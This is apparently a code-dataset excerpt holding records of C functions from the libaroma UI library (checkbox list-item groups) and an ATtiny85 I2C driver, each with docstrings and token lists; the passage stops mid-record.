hexsha
stringlengths 40
40
| repo
stringlengths 5
105
| path
stringlengths 3
173
| license
sequence | language
stringclasses 1
value | identifier
stringlengths 1
438
| return_type
stringlengths 1
106
⌀ | original_string
stringlengths 21
40.7k
| original_docstring
stringlengths 18
13.4k
| docstring
stringlengths 11
3.24k
| docstring_tokens
sequence | code
stringlengths 14
20.4k
| code_tokens
sequence | short_docstring
stringlengths 0
4.36k
| short_docstring_tokens
sequence | comment
sequence | parameters
list | docstring_params
dict |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | libaroma_listitem_ischecked | byte | byte libaroma_listitem_ischecked(
LIBAROMA_CTL_LIST_ITEMP item
){
if (item->handler!=&_libaroma_listitem_check_handler){
return 0;
}
_LIBAROMA_LISTITEM_CHECKP internal=(_LIBAROMA_LISTITEM_CHECKP) item->internal;
if (internal->selected){
return 1;
}
return 0;
} | /*
* Function : libaroma_listitem_ischecked
* Return Value: byte
* Descriptions: check if checkbox is checked
*/ | Function : libaroma_listitem_ischecked
Return Value: byte
Descriptions: check if checkbox is checked | [
"Function",
":",
"libaroma_listitem_ischecked",
"Return",
"Value",
":",
"byte",
"Descriptions",
":",
"check",
"if",
"checkbox",
"is",
"checked"
] | byte libaroma_listitem_ischecked(
LIBAROMA_CTL_LIST_ITEMP item
){
if (item->handler!=&_libaroma_listitem_check_handler){
return 0;
}
_LIBAROMA_LISTITEM_CHECKP internal=(_LIBAROMA_LISTITEM_CHECKP) item->internal;
if (internal->selected){
return 1;
}
return 0;
} | [
"byte",
"libaroma_listitem_ischecked",
"(",
"LIBAROMA_CTL_LIST_ITEMP",
"item",
")",
"{",
"if",
"(",
"item",
"->",
"handler",
"!=",
"&",
"_libaroma_listitem_check_handler",
")",
"{",
"return",
"0",
";",
"}",
"_LIBAROMA_LISTITEM_CHECKP",
"internal",
"=",
"(",
"_LIBAROMA_LISTITEM_CHECKP",
")",
"item",
"->",
"internal",
";",
"if",
"(",
"internal",
"->",
"selected",
")",
"{",
"return",
"1",
";",
"}",
"return",
"0",
";",
"}"
] | Function : libaroma_listitem_ischecked
Return Value: byte
Descriptions: check if checkbox is checked | [
"Function",
":",
"libaroma_listitem_ischecked",
"Return",
"Value",
":",
"byte",
"Descriptions",
":",
"check",
"if",
"checkbox",
"is",
"checked"
] | [] | [
{
"param": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | libaroma_listitem_check_create_named_group | LIBAROMA_LISTITEM_CHECK_GROUPP | LIBAROMA_LISTITEM_CHECK_GROUPP libaroma_listitem_check_create_named_group(
LIBAROMA_CONTROLP list,
char *name
){
if (list==NULL) {
ALOGW("create_named_group called with NULL list");
return NULL;
}
if (libaroma_ctl_list_get_groups(list)==NULL)
libaroma_ctl_list_init_opt_groups(list);
int grp_count=libaroma_ctl_list_get_groups(list)->n;
LIBAROMA_LISTITEM_CHECK_GROUPP grp=malloc(sizeof(LIBAROMA_LISTITEM_CHECK_GROUP));
if (grp==NULL) {
ALOGW("create_named_group cannot allocate memory for group");
return NULL;
}
grp->index=grp_count;
grp->list_index=libaroma_ctl_list_get_item_count(list);//groups->n;
grp->list=list;
grp->items=libaroma_stack(NULL);
if (name!=NULL){
libaroma_listitem_caption(list, grp->index, name, -1);
}
libaroma_stack_add_at(libaroma_ctl_list_get_groups(list), grp_count, (voidp)grp, sizeof(LIBAROMA_LISTITEM_CHECK_GROUP));
return grp;
} | /*
* Function : libaroma_listitem_check_create_named_group
* Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
* Descriptions: create listitem group with optional caption
*/ | Function : libaroma_listitem_check_create_named_group
Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
Descriptions: create listitem group with optional caption | [
"Function",
":",
"libaroma_listitem_check_create_named_group",
"Return",
"Value",
":",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"Descriptions",
":",
"create",
"listitem",
"group",
"with",
"optional",
"caption"
] | LIBAROMA_LISTITEM_CHECK_GROUPP libaroma_listitem_check_create_named_group(
LIBAROMA_CONTROLP list,
char *name
){
if (list==NULL) {
ALOGW("create_named_group called with NULL list");
return NULL;
}
if (libaroma_ctl_list_get_groups(list)==NULL)
libaroma_ctl_list_init_opt_groups(list);
int grp_count=libaroma_ctl_list_get_groups(list)->n;
LIBAROMA_LISTITEM_CHECK_GROUPP grp=malloc(sizeof(LIBAROMA_LISTITEM_CHECK_GROUP));
if (grp==NULL) {
ALOGW("create_named_group cannot allocate memory for group");
return NULL;
}
grp->index=grp_count;
grp->list_index=libaroma_ctl_list_get_item_count(list);
grp->list=list;
grp->items=libaroma_stack(NULL);
if (name!=NULL){
libaroma_listitem_caption(list, grp->index, name, -1);
}
libaroma_stack_add_at(libaroma_ctl_list_get_groups(list), grp_count, (voidp)grp, sizeof(LIBAROMA_LISTITEM_CHECK_GROUP));
return grp;
} | [
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"libaroma_listitem_check_create_named_group",
"(",
"LIBAROMA_CONTROLP",
"list",
",",
"char",
"*",
"name",
")",
"{",
"if",
"(",
"list",
"==",
"NULL",
")",
"{",
"ALOGW",
"(",
"\"",
"\"",
")",
";",
"return",
"NULL",
";",
"}",
"if",
"(",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
"==",
"NULL",
")",
"libaroma_ctl_list_init_opt_groups",
"(",
"list",
")",
";",
"int",
"grp_count",
"=",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
"->",
"n",
";",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"grp",
"=",
"malloc",
"(",
"sizeof",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUP",
")",
")",
";",
"if",
"(",
"grp",
"==",
"NULL",
")",
"{",
"ALOGW",
"(",
"\"",
"\"",
")",
";",
"return",
"NULL",
";",
"}",
"grp",
"->",
"index",
"=",
"grp_count",
";",
"grp",
"->",
"list_index",
"=",
"libaroma_ctl_list_get_item_count",
"(",
"list",
")",
";",
"grp",
"->",
"list",
"=",
"list",
";",
"grp",
"->",
"items",
"=",
"libaroma_stack",
"(",
"NULL",
")",
";",
"if",
"(",
"name",
"!=",
"NULL",
")",
"{",
"libaroma_listitem_caption",
"(",
"list",
",",
"grp",
"->",
"index",
",",
"name",
",",
"-1",
")",
";",
"}",
"libaroma_stack_add_at",
"(",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
",",
"grp_count",
",",
"(",
"voidp",
")",
"grp",
",",
"sizeof",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUP",
")",
")",
";",
"return",
"grp",
";",
"}"
] | Function : libaroma_listitem_check_create_named_group
Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
Descriptions: create listitem group with optional caption | [
"Function",
":",
"libaroma_listitem_check_create_named_group",
"Return",
"Value",
":",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"Descriptions",
":",
"create",
"listitem",
"group",
"with",
"optional",
"caption"
] | [
"//groups->n;"
] | [
{
"param": "list",
"type": "LIBAROMA_CONTROLP"
},
{
"param": "name",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIBAROMA_CONTROLP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "name",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | libaroma_listitem_check_get_group_at | LIBAROMA_LISTITEM_CHECK_GROUPP | LIBAROMA_LISTITEM_CHECK_GROUPP libaroma_listitem_check_get_group_at(
LIBAROMA_CONTROLP list,
int index
){
if (index<0 || list==NULL)
return NULL;
int i;
for (i=0; i<libaroma_ctl_list_get_groups(list)->n; i++){
LIBAROMA_LISTITEM_CHECK_GROUPP grp=(LIBAROMA_LISTITEM_CHECK_GROUPP)libaroma_stack_get(libaroma_ctl_list_get_groups(list), i);
if (grp==NULL) return NULL;
if (grp->index==index){
if (grp->list==list){
return grp;
}
}
}
ALOGW("get_group_at coud not find group at index %d", index);
return NULL;
} | /*
* Function : libaroma_listitem_check_get_group_at
* Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
* Descriptions: get listitem group from list at index
*/ | Function : libaroma_listitem_check_get_group_at
Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
Descriptions: get listitem group from list at index | [
"Function",
":",
"libaroma_listitem_check_get_group_at",
"Return",
"Value",
":",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"Descriptions",
":",
"get",
"listitem",
"group",
"from",
"list",
"at",
"index"
] | LIBAROMA_LISTITEM_CHECK_GROUPP libaroma_listitem_check_get_group_at(
LIBAROMA_CONTROLP list,
int index
){
if (index<0 || list==NULL)
return NULL;
int i;
for (i=0; i<libaroma_ctl_list_get_groups(list)->n; i++){
LIBAROMA_LISTITEM_CHECK_GROUPP grp=(LIBAROMA_LISTITEM_CHECK_GROUPP)libaroma_stack_get(libaroma_ctl_list_get_groups(list), i);
if (grp==NULL) return NULL;
if (grp->index==index){
if (grp->list==list){
return grp;
}
}
}
ALOGW("get_group_at coud not find group at index %d", index);
return NULL;
} | [
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"libaroma_listitem_check_get_group_at",
"(",
"LIBAROMA_CONTROLP",
"list",
",",
"int",
"index",
")",
"{",
"if",
"(",
"index",
"<",
"0",
"||",
"list",
"==",
"NULL",
")",
"return",
"NULL",
";",
"int",
"i",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
"->",
"n",
";",
"i",
"++",
")",
"{",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"grp",
"=",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
")",
"libaroma_stack_get",
"(",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
",",
"i",
")",
";",
"if",
"(",
"grp",
"==",
"NULL",
")",
"return",
"NULL",
";",
"if",
"(",
"grp",
"->",
"index",
"==",
"index",
")",
"{",
"if",
"(",
"grp",
"->",
"list",
"==",
"list",
")",
"{",
"return",
"grp",
";",
"}",
"}",
"}",
"ALOGW",
"(",
"\"",
"\"",
",",
"index",
")",
";",
"return",
"NULL",
";",
"}"
] | Function : libaroma_listitem_check_get_group_at
Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
Descriptions: get listitem group from list at index | [
"Function",
":",
"libaroma_listitem_check_get_group_at",
"Return",
"Value",
":",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"Descriptions",
":",
"get",
"listitem",
"group",
"from",
"list",
"at",
"index"
] | [] | [
{
"param": "list",
"type": "LIBAROMA_CONTROLP"
},
{
"param": "index",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIBAROMA_CONTROLP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "index",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | libaroma_listitem_check_get_ingroup_index | int | int libaroma_listitem_check_get_ingroup_index(
LIBAROMA_LISTITEM_CHECK_GROUPP group,
LIBAROMA_CTL_LIST_ITEMP item
){
if (group==NULL) {
ALOGW("get_ingroup_index group is NULL");
return -1;
}
int i;
for (i=0; i<group->items->n; i++){
LIBAROMA_CTL_LIST_ITEMP itm=(LIBAROMA_CTL_LIST_ITEMP)libaroma_stack_get(group->items, i);
if (libaroma_ctl_list_items_equal(itm, item))
return i;
}
ALOGW("get_ingroup_index could not find item in group");
return -1;
} | /*
* Function : libaroma_listitem_check_get_ingroup_index
* Return Value: int
* Descriptions: get item index inside group
*/ | Function : libaroma_listitem_check_get_ingroup_index
Return Value: int
Descriptions: get item index inside group | [
"Function",
":",
"libaroma_listitem_check_get_ingroup_index",
"Return",
"Value",
":",
"int",
"Descriptions",
":",
"get",
"item",
"index",
"inside",
"group"
] | int libaroma_listitem_check_get_ingroup_index(
LIBAROMA_LISTITEM_CHECK_GROUPP group,
LIBAROMA_CTL_LIST_ITEMP item
){
if (group==NULL) {
ALOGW("get_ingroup_index group is NULL");
return -1;
}
int i;
for (i=0; i<group->items->n; i++){
LIBAROMA_CTL_LIST_ITEMP itm=(LIBAROMA_CTL_LIST_ITEMP)libaroma_stack_get(group->items, i);
if (libaroma_ctl_list_items_equal(itm, item))
return i;
}
ALOGW("get_ingroup_index could not find item in group");
return -1;
} | [
"int",
"libaroma_listitem_check_get_ingroup_index",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"group",
",",
"LIBAROMA_CTL_LIST_ITEMP",
"item",
")",
"{",
"if",
"(",
"group",
"==",
"NULL",
")",
"{",
"ALOGW",
"(",
"\"",
"\"",
")",
";",
"return",
"-1",
";",
"}",
"int",
"i",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"group",
"->",
"items",
"->",
"n",
";",
"i",
"++",
")",
"{",
"LIBAROMA_CTL_LIST_ITEMP",
"itm",
"=",
"(",
"LIBAROMA_CTL_LIST_ITEMP",
")",
"libaroma_stack_get",
"(",
"group",
"->",
"items",
",",
"i",
")",
";",
"if",
"(",
"libaroma_ctl_list_items_equal",
"(",
"itm",
",",
"item",
")",
")",
"return",
"i",
";",
"}",
"ALOGW",
"(",
"\"",
"\"",
")",
";",
"return",
"-1",
";",
"}"
] | Function : libaroma_listitem_check_get_ingroup_index
Return Value: int
Descriptions: get item index inside group | [
"Function",
":",
"libaroma_listitem_check_get_ingroup_index",
"Return",
"Value",
":",
"int",
"Descriptions",
":",
"get",
"item",
"index",
"inside",
"group"
] | [] | [
{
"param": "group",
"type": "LIBAROMA_LISTITEM_CHECK_GROUPP"
},
{
"param": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "group",
"type": "LIBAROMA_LISTITEM_CHECK_GROUPP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | libaroma_listitem_check_find_group | LIBAROMA_LISTITEM_CHECK_GROUPP | LIBAROMA_LISTITEM_CHECK_GROUPP libaroma_listitem_check_find_group(
LIBAROMA_CONTROLP list,
LIBAROMA_CTL_LIST_ITEMP item
){
int i;
for (i=0; i<libaroma_ctl_list_get_groups(list)->n; i++){
LIBAROMA_LISTITEM_CHECK_GROUPP grp=(LIBAROMA_LISTITEM_CHECK_GROUPP)libaroma_stack_get(libaroma_ctl_list_get_groups(list), i);
if (libaroma_listitem_check_get_ingroup_index(grp/*groups[i]*/, item)!=-1)
return grp;
}
return NULL;
} | /*
* Function : libaroma_listitem_check_find_group
* Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
* Descriptions: get group for item at list
*/ | Function : libaroma_listitem_check_find_group
Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
Descriptions: get group for item at list | [
"Function",
":",
"libaroma_listitem_check_find_group",
"Return",
"Value",
":",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"Descriptions",
":",
"get",
"group",
"for",
"item",
"at",
"list"
] | LIBAROMA_LISTITEM_CHECK_GROUPP libaroma_listitem_check_find_group(
LIBAROMA_CONTROLP list,
LIBAROMA_CTL_LIST_ITEMP item
){
int i;
for (i=0; i<libaroma_ctl_list_get_groups(list)->n; i++){
LIBAROMA_LISTITEM_CHECK_GROUPP grp=(LIBAROMA_LISTITEM_CHECK_GROUPP)libaroma_stack_get(libaroma_ctl_list_get_groups(list), i);
if (libaroma_listitem_check_get_ingroup_index(grp, item)!=-1)
return grp;
}
return NULL;
} | [
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"libaroma_listitem_check_find_group",
"(",
"LIBAROMA_CONTROLP",
"list",
",",
"LIBAROMA_CTL_LIST_ITEMP",
"item",
")",
"{",
"int",
"i",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
"->",
"n",
";",
"i",
"++",
")",
"{",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"grp",
"=",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
")",
"libaroma_stack_get",
"(",
"libaroma_ctl_list_get_groups",
"(",
"list",
")",
",",
"i",
")",
";",
"if",
"(",
"libaroma_listitem_check_get_ingroup_index",
"(",
"grp",
",",
"item",
")",
"!=",
"-1",
")",
"return",
"grp",
";",
"}",
"return",
"NULL",
";",
"}"
] | Function : libaroma_listitem_check_find_group
Return Value: LIBAROMA_LISTITEM_CHECK_GROUPP
Descriptions: get group for item at list | [
"Function",
":",
"libaroma_listitem_check_find_group",
"Return",
"Value",
":",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"Descriptions",
":",
"get",
"group",
"for",
"item",
"at",
"list"
] | [
"/*groups[i]*/"
] | [
{
"param": "list",
"type": "LIBAROMA_CONTROLP"
},
{
"param": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIBAROMA_CONTROLP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | libaroma_listitem_check_get_group_selected_index | int | int libaroma_listitem_check_get_group_selected_index(
LIBAROMA_LISTITEM_CHECK_GROUPP group
){
if (group==NULL) {
ALOGW("get_group_selected_index group is NULL");
return -1;
}
int i;
int item_count=group->items->n;
for (i=0; i<item_count; i++){
LIBAROMA_CTL_LIST_ITEMP item=(LIBAROMA_CTL_LIST_ITEMP)libaroma_stack_get(group->items, i);
if (item==NULL) break;
if (!libaroma_listitem_isoption(item))
continue;
_LIBAROMA_LISTITEM_CHECKP check=(_LIBAROMA_LISTITEM_CHECKP)item->internal;
if (check->selected)
return i;
}
return -1;
} | /*
* Function : libaroma_listitem_check_get_group_selected_index
* Return Value: int
* Descriptions: get selected item index at group
*/ | Function : libaroma_listitem_check_get_group_selected_index
Return Value: int
Descriptions: get selected item index at group | [
"Function",
":",
"libaroma_listitem_check_get_group_selected_index",
"Return",
"Value",
":",
"int",
"Descriptions",
":",
"get",
"selected",
"item",
"index",
"at",
"group"
] | int libaroma_listitem_check_get_group_selected_index(
LIBAROMA_LISTITEM_CHECK_GROUPP group
){
if (group==NULL) {
ALOGW("get_group_selected_index group is NULL");
return -1;
}
int i;
int item_count=group->items->n;
for (i=0; i<item_count; i++){
LIBAROMA_CTL_LIST_ITEMP item=(LIBAROMA_CTL_LIST_ITEMP)libaroma_stack_get(group->items, i);
if (item==NULL) break;
if (!libaroma_listitem_isoption(item))
continue;
_LIBAROMA_LISTITEM_CHECKP check=(_LIBAROMA_LISTITEM_CHECKP)item->internal;
if (check->selected)
return i;
}
return -1;
} | [
"int",
"libaroma_listitem_check_get_group_selected_index",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"group",
")",
"{",
"if",
"(",
"group",
"==",
"NULL",
")",
"{",
"ALOGW",
"(",
"\"",
"\"",
")",
";",
"return",
"-1",
";",
"}",
"int",
"i",
";",
"int",
"item_count",
"=",
"group",
"->",
"items",
"->",
"n",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"item_count",
";",
"i",
"++",
")",
"{",
"LIBAROMA_CTL_LIST_ITEMP",
"item",
"=",
"(",
"LIBAROMA_CTL_LIST_ITEMP",
")",
"libaroma_stack_get",
"(",
"group",
"->",
"items",
",",
"i",
")",
";",
"if",
"(",
"item",
"==",
"NULL",
")",
"break",
";",
"if",
"(",
"!",
"libaroma_listitem_isoption",
"(",
"item",
")",
")",
"continue",
";",
"_LIBAROMA_LISTITEM_CHECKP",
"check",
"=",
"(",
"_LIBAROMA_LISTITEM_CHECKP",
")",
"item",
"->",
"internal",
";",
"if",
"(",
"check",
"->",
"selected",
")",
"return",
"i",
";",
"}",
"return",
"-1",
";",
"}"
] | Function : libaroma_listitem_check_get_group_selected_index
Return Value: int
Descriptions: get selected item index at group | [
"Function",
":",
"libaroma_listitem_check_get_group_selected_index",
"Return",
"Value",
":",
"int",
"Descriptions",
":",
"get",
"selected",
"item",
"index",
"at",
"group"
] | [] | [
{
"param": "group",
"type": "LIBAROMA_LISTITEM_CHECK_GROUPP"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "group",
"type": "LIBAROMA_LISTITEM_CHECK_GROUPP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
416d4d12ca8acc0c6919feb4fada84ad9f466996 | MLXProjects/libaroma | src/aroma/controls/listitem/listitem_check.c | [
"Apache-2.0"
] | C | _libaroma_listitem_check_group_uncheck_others | void | void _libaroma_listitem_check_group_uncheck_others(
LIBAROMA_LISTITEM_CHECK_GROUPP group,
LIBAROMA_CTL_LIST_ITEMP item
){
if (group==NULL) return;
int i;
for (i=0; i<group->items->n; i++){
LIBAROMA_CTL_LIST_ITEMP itm=libaroma_listitem_check_get_ingroup_item(group, i);
if (item==NULL) {
break;
}
if (!libaroma_listitem_isoption(itm)){
continue;
}
if (!libaroma_ctl_list_items_equal(itm, item)){
libaroma_listitem_set_selected(group->list, itm, 0);
libaroma_ctl_list_invalidate_item(group->list, itm);
}
}
} | /*
* Function : _libaroma_listitem_check_group_uncheck_others
* Return Value: void
* Descriptions: uncheck items other than <item> inside group
*/ | Function : _libaroma_listitem_check_group_uncheck_others
Return Value: void
Descriptions: uncheck items other than inside group | [
"Function",
":",
"_libaroma_listitem_check_group_uncheck_others",
"Return",
"Value",
":",
"void",
"Descriptions",
":",
"uncheck",
"items",
"other",
"than",
"inside",
"group"
] | void _libaroma_listitem_check_group_uncheck_others(
LIBAROMA_LISTITEM_CHECK_GROUPP group,
LIBAROMA_CTL_LIST_ITEMP item
){
if (group==NULL) return;
int i;
for (i=0; i<group->items->n; i++){
LIBAROMA_CTL_LIST_ITEMP itm=libaroma_listitem_check_get_ingroup_item(group, i);
if (item==NULL) {
break;
}
if (!libaroma_listitem_isoption(itm)){
continue;
}
if (!libaroma_ctl_list_items_equal(itm, item)){
libaroma_listitem_set_selected(group->list, itm, 0);
libaroma_ctl_list_invalidate_item(group->list, itm);
}
}
} | [
"void",
"_libaroma_listitem_check_group_uncheck_others",
"(",
"LIBAROMA_LISTITEM_CHECK_GROUPP",
"group",
",",
"LIBAROMA_CTL_LIST_ITEMP",
"item",
")",
"{",
"if",
"(",
"group",
"==",
"NULL",
")",
"return",
";",
"int",
"i",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"group",
"->",
"items",
"->",
"n",
";",
"i",
"++",
")",
"{",
"LIBAROMA_CTL_LIST_ITEMP",
"itm",
"=",
"libaroma_listitem_check_get_ingroup_item",
"(",
"group",
",",
"i",
")",
";",
"if",
"(",
"item",
"==",
"NULL",
")",
"{",
"break",
";",
"}",
"if",
"(",
"!",
"libaroma_listitem_isoption",
"(",
"itm",
")",
")",
"{",
"continue",
";",
"}",
"if",
"(",
"!",
"libaroma_ctl_list_items_equal",
"(",
"itm",
",",
"item",
")",
")",
"{",
"libaroma_listitem_set_selected",
"(",
"group",
"->",
"list",
",",
"itm",
",",
"0",
")",
";",
"libaroma_ctl_list_invalidate_item",
"(",
"group",
"->",
"list",
",",
"itm",
")",
";",
"}",
"}",
"}"
] | Function : _libaroma_listitem_check_group_uncheck_others
Return Value: void
Descriptions: uncheck items other than <item> inside group | [
"Function",
":",
"_libaroma_listitem_check_group_uncheck_others",
"Return",
"Value",
":",
"void",
"Descriptions",
":",
"uncheck",
"items",
"other",
"than",
"<item",
">",
"inside",
"group"
] | [] | [
{
"param": "group",
"type": "LIBAROMA_LISTITEM_CHECK_GROUPP"
},
{
"param": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "group",
"type": "LIBAROMA_LISTITEM_CHECK_GROUPP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "item",
"type": "LIBAROMA_CTL_LIST_ITEMP",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
39b26ddc96fb7923b2b4bf40539d6d5f3446d389 | theisolinearchip/i2c_attiny85_twi | i2c/i2c_primary.c | [
"Unlicense"
] | C | i2c_write_byte | null | unsigned char i2c_write_byte(unsigned char data) {
USIDR = data;
i2c_transfer(USISR_CLOCK_8_BITS);
// wait for ack
DDRB &= ~(1<< PIN_SDA); // to input
unsigned char nack = i2c_transfer(USISR_CLOCK_1_BIT);
DDRB |= (1 << PIN_SDA);
return nack;
} | // controller sends a byte to the bus
// returns 0 if there's a valid nack, otherwise 1 | controller sends a byte to the bus
returns 0 if there's a valid nack, otherwise 1 | [
"controller",
"sends",
"a",
"byte",
"to",
"the",
"bus",
"returns",
"0",
"if",
"there",
"'",
"s",
"a",
"valid",
"nack",
"otherwise",
"1"
] | unsigned char i2c_write_byte(unsigned char data) {
USIDR = data;
i2c_transfer(USISR_CLOCK_8_BITS);
DDRB &= ~(1<< PIN_SDA);
unsigned char nack = i2c_transfer(USISR_CLOCK_1_BIT);
DDRB |= (1 << PIN_SDA);
return nack;
} | [
"unsigned",
"char",
"i2c_write_byte",
"(",
"unsigned",
"char",
"data",
")",
"{",
"USIDR",
"=",
"data",
";",
"i2c_transfer",
"(",
"USISR_CLOCK_8_BITS",
")",
";",
"DDRB",
"&=",
"~",
"(",
"1",
"<<",
"PIN_SDA",
")",
";",
"unsigned",
"char",
"nack",
"=",
"i2c_transfer",
"(",
"USISR_CLOCK_1_BIT",
")",
";",
"DDRB",
"|=",
"(",
"1",
"<<",
"PIN_SDA",
")",
";",
"return",
"nack",
";",
"}"
] | controller sends a byte to the bus
returns 0 if there's a valid nack, otherwise 1 | [
"controller",
"sends",
"a",
"byte",
"to",
"the",
"bus",
"returns",
"0",
"if",
"there",
"'",
"s",
"a",
"valid",
"nack",
"otherwise",
"1"
] | [
"// wait for ack",
"// to input"
] | [
{
"param": "data",
"type": "unsigned char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "data",
"type": "unsigned char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
39b26ddc96fb7923b2b4bf40539d6d5f3446d389 | theisolinearchip/i2c_attiny85_twi | i2c/i2c_primary.c | [
"Unlicense"
] | C | i2c_read_byte | null | unsigned char i2c_read_byte(unsigned char nack) {
DDRB &= ~(1<< PIN_SDA); // reciving, so change to input
unsigned char data = i2c_transfer(USISR_CLOCK_8_BITS);
DDRB |= (1 << PIN_SDA);
// send nack
USIDR = nack;
i2c_transfer(USISR_CLOCK_1_BIT);
return data;
} | // controller reads 1 byte from the bus
// and sends a nack if wanna read another one
// (1 = will read another one, 0 = stop sending)
// returns the read byte | controller reads 1 byte from the bus
and sends a nack if wanna read another one
(1 = will read another one, 0 = stop sending)
returns the read byte | [
"controller",
"reads",
"1",
"byte",
"from",
"the",
"bus",
"and",
"sends",
"a",
"nack",
"if",
"wanna",
"read",
"another",
"one",
"(",
"1",
"=",
"will",
"read",
"another",
"one",
"0",
"=",
"stop",
"sending",
")",
"returns",
"the",
"read",
"byte"
] | unsigned char i2c_read_byte(unsigned char nack) {
DDRB &= ~(1<< PIN_SDA);
unsigned char data = i2c_transfer(USISR_CLOCK_8_BITS);
DDRB |= (1 << PIN_SDA);
USIDR = nack;
i2c_transfer(USISR_CLOCK_1_BIT);
return data;
} | [
"unsigned",
"char",
"i2c_read_byte",
"(",
"unsigned",
"char",
"nack",
")",
"{",
"DDRB",
"&=",
"~",
"(",
"1",
"<<",
"PIN_SDA",
")",
";",
"unsigned",
"char",
"data",
"=",
"i2c_transfer",
"(",
"USISR_CLOCK_8_BITS",
")",
";",
"DDRB",
"|=",
"(",
"1",
"<<",
"PIN_SDA",
")",
";",
"USIDR",
"=",
"nack",
";",
"i2c_transfer",
"(",
"USISR_CLOCK_1_BIT",
")",
";",
"return",
"data",
";",
"}"
] | controller reads 1 byte from the bus
and sends a nack if wanna read another one
(1 = will read another one, 0 = stop sending)
returns the read byte | [
"controller",
"reads",
"1",
"byte",
"from",
"the",
"bus",
"and",
"sends",
"a",
"nack",
"if",
"wanna",
"read",
"another",
"one",
"(",
"1",
"=",
